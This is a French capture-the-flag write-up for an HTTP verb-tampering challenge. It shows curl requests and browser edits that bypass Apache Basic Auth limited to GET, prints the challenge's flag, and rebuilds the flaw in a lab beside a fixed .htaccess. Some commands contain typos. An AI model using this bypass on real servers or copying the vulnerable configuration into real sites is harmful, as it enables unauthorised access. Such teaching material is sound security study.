Aller au contenu
Samuel MANECHEZ 06/01/2022 HTTP-Verb Lien du CTF
# Explication de la vulnérabilité
Ce challenge s'appuie sur utilisation de verbe HTTP pour sécurité l'accès au formulaire de connexion. Or, cette démarche ouvre une faille qui implique que si nous forçons un autre verbe que ceux autoriser pour accéder au login, ce dernier et bypass.

Exploitation de la vulnérabilité

Solution 1

Modification de la méthode http via une commande CURL.

root@me:~$ curl -X PUT http://challenge01.root-me.org/web-serveur/ch8/

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html><head>
</head>

<h1>Mot de passe / password : a23e$dme96d3saez$$prap
</h1>
</body></html>

Le flag est le suivant : a23e$dme96d3saez$$prap.

Solution 2

Ouvrir les outils développeurs sur le navigateur web et se rendre dans l'onglet réseau. facbc7be905ae4dee1be517550969f79.png

Annuler l'authentification, et modifier la requête GET de la premère conenxion (401). Sous En-têtes, cliquer sur modifier et renvoyer, rempalcer GET par un autre verbe (ex : PUT) et envoyer.

Ce rendre sous l'onglet Réponse : 57687bfdce0063aa37331b5d341d855c.png

Laboratoire

Configuration

Création d'un conteneur Debian LXC sur ProxMox. - Installation d'apache2.

root@me:~$ apt isntall apache2

Sans la faille

Sans .htaccess si j'essaie d'accèder au site, je n'ai aucun problème : ed77e68c26d60372d0e8b387d3890b2d.png

Ajout de la faille

  • Création de deux dossier, un avec qui contiendra la faille et l'autre non.

    root@me:~$ mdkir /var/wwww/html/protected
    root@me:~$ mdkir /var/wwww/html/notprotected
    

  • Création d'un fichier html test :

    root@me:~$ nano /var/wwww/html/protected/index.html
    
    <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
    <html><head>
    </head>
    
    <h1>Mot de passe / password : a23e$dme96d3saez$$prap
    </h1>
    </body></html>
    

root@me:~$ nano /var/wwww/html/notprotected/index.html

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html><head>
</head>

<h1>Mot de passe / password : a23e$dme96d3saez$$prap
</h1>
</body></html>
- Autoriser l'utilisation du fihcier htacess, modifier le fichier /etc/apache2/apache2.conf :
root@me:~$ nano /etc/apache2/apache2.conf
.
.
.
<Directory /var/www/>
        Options Indexes FollowSymLinks
        AllowOverride All
        Require all granted
</Directory>
- Enregister le fihcier. - Se rendre dans le dossier du site html (/var/www/html) et créer le .htaccess. Pour la partie non protégée :
root@me:~$ cd /var/www/html/notprotected && nano .htaccess
- Ajouter les lignes suivantes dans le fichier .htacess:
AuthName "Please Enter Password"

AuthType Basic

<Limit GET>
    Require valid-user
</Limit>

Pour la partie prottégée :

root@me:~$ cd /var/www/html/protected && nano .htaccess
- Ajouter les lignes suivantes dans le fichier .htacess:
AuthName "Please Enter Password"

AuthType Basic

Require valid-user

  • Enregistrer le fichier.
  • Redémarre le serices apache2
    root@me:~$ service apache2 restart
    

Maintenant si j'essaie d'accèder au site, la page de login est bien présente : 6697d881e2af90c39acaf3a4406d577e.png

Maintenant essyons de bypass le login. Via une commande CURL. Dossier non protégé :

root@me:~$ curl -X POST http://192.168.1.231/notprotected/
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<html><head>
</head>

<h1>Mot de passe / password : a23e$dme96d3saez$$prap
</h1>
</body></html>

Dossier protégé :

root@me:~$ curl -X POST http://192.168.1.231/protected/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>401 Unauthorized</title>
</head><body>
<h1>Unauthorized</h1>
<p>This server could not verify that you
are authorized to access the document
requested.  Either you supplied the wrong
credentials (e.g., bad password), or your
browser doesn't understand how to supply
the credentials required.</p>
<hr>
<address>Apache/2.4.52 (Debian) Server at 192.168.1.231 Port 80</address>
</body></html>